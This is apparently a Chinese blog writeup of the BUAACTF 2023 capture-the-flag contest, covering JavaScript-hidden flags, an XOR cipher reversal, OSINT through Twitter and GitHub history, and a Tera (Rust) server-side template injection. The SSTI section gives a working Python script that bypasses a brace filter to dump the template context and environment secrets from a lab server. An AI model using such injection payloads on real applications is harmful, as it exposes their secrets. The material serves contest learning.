第三届「蓝天杯」网络安全技能大赛 Writeup

日期:
分类: Writeup 题解
标签: Rust Python SSTI Crypto

第一次打 CTF,看到 flag 的时候又想起几年前第一次写 Python 时在 Jupyter Notebook 中爬虫成功运行时的心态,真是久违的热情🥲

不过其实只算做出来了两道题,其他的都是签到题🙃

签到

题目

53 pts

欢迎来到第三届“蓝天杯”网络安全技能大赛!

关注赛博安全协会官方博客https://or4ngesec.github.io/

第一个flag就在其中^_^

Hacking for fun, good luck for youuuuuuuuuu!

flag格式: BUAACTF{*}

解答

查看 仓库 历史 即可找到 flag,发现 flag 在关于页面,有 4 处。

截图

Flag

BUAACTF{W3lc0m3_t0_BUAACTF2023_3NjoY_l-l@ck1ng!}

Mota

题目

72 pts

欢迎来到前端的世界!play&hack for fun!

author:hiddener

解答

在 events.js 中用 Ctrl + F 搜索 可以找到分成 3 段的 flag。

1

case 51:
       useful= "BUAACTF{HT";
       Message = ["[Npc=3,仙子]恭喜你找到了第一段芙拉隔,它的值为","[Npc=3,仙子]"+useful];
       Event.ShowMessageList(Message,function(){
          Event.RemoveEvent("Npc",1,9,7);
        });
    break;

2

case 52:
       text = "NV9tb3RhXzFz"
       useful = atob(text);
       Message = ["[Npc=3,仙子]哇!你拿下了第二腐拉蛤,它是","[Npc=3,仙子]"+useful];
       Event.ShowMessageList(Message,function(){
          Event.RemoveEvent("Npc",0,0,5);
        });
    break;

控制台执行可得

3

case 53:
       text = new Uint8Array([95, 115, 48, 95, 102, 117, 110, 33, 125]);
       useful = String.fromCharCode.apply(null, text);;
       Message = ["[Npc=3,仙子]奈斯!你找到了最后一富菈哥,它的内容:","[Npc=3,仙子]"+useful];
       Event.ShowMessageList(Message,function(){
          Event.RemoveEvent("Npc",1,5,3);
        });
    break;

控制台执行可得

截图

Flag

BUAACTF{HT5_mota_1s_s0_fun!}

Block Cipher

题目

75 pts

Recall the experiments done in class!

author:bangzhu

block-cipher-task.py

解答

用结果中的 ivkey 的替换掉 encrypt 函数中的随机数。加密的过程很简单。首先是将 flag 分割成了 8 字符一段的 parts 列表,然后对每一个 part 执行 reduce(xor, [part, iv if index == 0 else results[-1], key])——实际上对应的 result 就是 part、上一个结果或 ivkey异或

import operator
import random
import re
from functools import reduce
# from secret import flag
 
def pad(s):
    padding_length = (8 - len(s)) % 8
    return s + chr(padding_length) * padding_length
 
def xor(a, b):
    assert len(a) == len(b)
    return bytes(map(operator.xor, a, b))
 
def encrypt(s):
    iv = b'\xba=y\xa3\xc6)\xcf\xf7' # bytes(random.randint(0, 255) for _ in range(8))
    key = b'}6E\xeb(\x91\x08\xa0' # bytes(random.randint(0, 255) for _ in range(8))
    parts = list(map(str.encode, map(pad, re.findall(r'.{1,8}', s))))
    print(parts)
    results = []
    for index, part in enumerate(parts):
        print(index, part)
        results.append(reduce(xor, [part, iv if index == 0 else results[-1], key]))
    return iv, key, results
 
# xor(part, result[-1], key)
# xor(part, y) = result, y = xor(result, y)
 
iv, key, parts = encrypt(
    "BUAACTF{abcdefgh}"
)
print(f"iv = {iv}")
print(f"key = {key}")
print(f"parts = {parts}")

异或的性质,,据此编码根据结果倒序还原,便可解出原 parts

parts = [b'\x85^}\t\xad\xec\x81,', b'\xba\x04W\xa1\xee"\xea\xc5', b'\xb7ZW\x18\x99\x82\xd6:', b'\x99\x03}\x9c\xde|\xb1\xc5', b'\xa1Tk.\x8b\xee\xbaf']
decrypted = ""
for i, value in reversed(list(enumerate(parts))):
    value = xor(value, key)
    prev = parts[i-1] if i > 0 else iv
    value = xor(value, prev)
    print(value)
    decrypted = value.decode() + decrypted
print("Flag:", decrypted)

异或的这个性质也被用于 RAID5:

三块磁盘(两块数据,一个块校验盘)其实就是:

c = a ^ b
a = c ^ b
b = a ^ c

截图

Flag

BUAACTF{BloCk_cIphER_14_Soooooo_EaSY}

easy-ssti

题目

非常只因础的SSTI,但不是flask。

author:hiddener

https://tera.netlify.app/docs/

尝试获取当前上下文—>获取敏感环境变量,不需要RCE。

在输入框中直接输入的符号都会被用百分号 escape,故编码发送请求。

查阅文档,发现

There are 3 kinds of delimiters and those cannot be changed:

  • {{ and }} for expressions
  • {% and %} for statements
  • {# and #} for comments

但是,请求中的 {{}} 被屏蔽了。

import requests
url = "http://10.212.25.14:49574/"
def fetch(data):
    body = "content=" + data
    headers = {'Content-Type': 'application/x-www-form-urlencoded'}
    r = requests.post(url, data=body, headers=headers)
    print(r.text.replace("\\n", "\n").replace("\\", ''))
fetch("{}") # …<div class="result">您的身高为 {} cm</div>…
fetch("}}") # forbbidden!
fetch("{{") # forbbidden!

故只能使用 {% 和 %} 嵌入流程控制语句。hint 中提示获取当前上下文,可知我们需要  __tera_context

A magical variable is available in every template if you want to print the current context: __tera_context.

随意构造一个错误的语句,从返回的报错中可以发现使用了 Tera::one_off one off template。

fetch("{% println!(__tera_context) %}")
 
Error while rendering: Error { kind: Msg("Failed to parse '__tera_one_off'"), source: Some(Error { kind: Msg("  --> 18:35
   |
18 |         <div class="result">您的身高为 {% println!(__tera_context) %} cm</div>
   |                                   ^---
   |
   = unexpected tag; expected end of input or some content"), source: None })

与字符串相关的有 filter,但是并没有实际可以使用的,也没有函数可分割字符串。查阅文档发现 for 循环可以逐字符,不过比较坑的是 Playground 的版本可能旧了,这个功能无法使用。

{% for letter in "hahahaha" %}
  {% if loop.index % 2 == 0%}
    <span style="color:red">{{ letter }}</span>
  {% else %}
    <span style="color:blue">{{ letter }}</span>
  {% endif %}
{% endfor %}

因为 println! 没有导入,不像 Flask 中有 print 可以用,不能直接输出变量的值。不过我们可以用一个有 128 个分支的 if 来输出所有 ASCII 字符。

输出 __tera_context 后发现有一个环境变量 se3ret,故我们还要用 set 和 built-in 函数 get_env 将其储存在一个变量中才能在 context 中看见它。

完整的代码如下:

import requests
url = "http://10.212.25.14:49452/"
 
def get_branch(i):
    char = chr(i)
    quoted_char = f"""'{char}'""" if char != "'" else '''"'"'''
    return """{%- elif char == """ + quoted_char + """ -%} """ + char + " "
 
branches = map(get_branch, range(127))
 
data = """
{% set arr = [__tera_context] %}
{% set flag = get_env(name="se3ret") %}
{%- for char in __tera_context -%}
    {%- if char == 'a' -%}
    a""" + "\n".join(branches) + """
    {%- else -%}
    <NOCHAR>
    {%- endif -%}
{% endfor %}
"""
 
print(data)
 
body = "content=" + data
headers = {'Content-Type': 'application/x-www-form-urlencoded'}
r = requests.post(url, data=body, headers=headers)
 
print(r.text.replace("\\n", "\n").replace("\\", ''))

结果:

    <!doctype html>
    <html>
    <head>
        <meta charset="UTF-8">
        <meta name="viewport" content="width=device-width, initial-scale=1">
        <link rel="stylesheet" href="https://cdn.bootcdn.net/ajax/libs/twitter-bootstrap/4.6.0/css/bootstrap.min.css">
        <link rel="stylesheet" href="/static/style.css">
        <title>身高计算器</title>
    </head>
    <body>
        <h1>身高计算器</h1>
        <h2>请输入你的身高</h2>
        <form action="/" method="post">
            <p><input type="text" name="content" placeholder="cm"></p>
            <p><input type="submit" value="提交"></p>
        </form>
        <div class="result">您的身高为
 
{"arr":["{
"name":"admin",
"work_dir":"/usr/admin/"
}
}"],"flag":"flag{RUSt_1S_S0_1NTere4T1NG}","worker":{"env_var":"se3ret","id":20379999,"name":"admin","work_dir":"/usr/admin/"}}
 cm</div>
    </body>
    </html>

截图

Flag

flag{RUSt_1S_S0_1NTere4T1NG}

Screenshot

题目

262 pts

小橘子在没事干的时候特别喜欢在各大社交平台灌水,某天他在某平台高强度冲浪的时候遇到了一位自称是BUAACTF2023出题人的网友。在交谈过程中,该网友不小心发送了一张电脑屏幕截图,这引起了小橘子的注意。如果能通过这张图片找到一些有用的信息,或许就能提前拿到比赛的flag……

小橘子在该社交平台上的id:@PaulGeo43512452

author:ch3v4l,bangzhu

附件

screenshot.jpg
screenshot.jpg

解答

Ethereum.org 的 Remix 没有社交功能,并且图中没有区块链信息。唯一符合要求的是第一个标签页的 Twitter。

搜索可见一串对话。用 Stegsolve.jar 对比附件中的图片和从 twimg 下载的图片,没有差异;用 hexed.it 和 binwalk 也没发现有隐藏信息。

对话提示查看另一用户 NekoMaster0751 的 Github 仓库,在 bio 找到该用户的用户名。

查阅其 仓库 历史,发现最近有一次添加了一篇文章 2023/04/19/BUAACTF2022题解/index.html,随后又 revert 的操作。

手动 revert 后,发现代码中并没有 flag。仔细查看,发现有多张图片没有加载。meta 标签中有两张 Open Graph 预览图,但不是 flag,正文中的才是。

37e901a1b6cb8efdc24d9357875062c.png - SM.MS - Simple Free Image Hosting

KA3Cm4z7hWDncyk1.png
KA3Cm4z7hWDncyk1.png

Flag

BUAACTF{Scr33nsh0T_0N_s0c1@L_M3di4_C4N_I3ak_y0ur_pr1V4cy!}

问卷调查

题目

119 pts

[数据删除]

完成问卷填写即可获得flag。

Flag

BUAACTF{GoOd_Bye~may_1he_f1ag_Be_wi1h_U}

2023 年 4 月 26 日写于 Notion。

本作品采用 知识共享署名-非商业性使用 4.0 国际许可协议CC BY-NC 4.0 International) 进行许可。阁下可自由地共享(复制、发行)和演绎(修改、转换或二次创作)本作品,唯须遵守许可协议条款。

评论

评论将在审核后显示,阁下可以在本博客的 Github 仓库的 拉取请求列表 中查看。
本表单无 JavaScript,请勿重复提交。

本站不支持 Dark Reader 的暗色模式,请对本站关闭后再访问。
(亮色模式的对比度、亮度等选项不受影响)


This site does not support dark mode by Dark Reader, please turn it off before visiting.
(Contrast, brightness, etc. of light mode are not affected)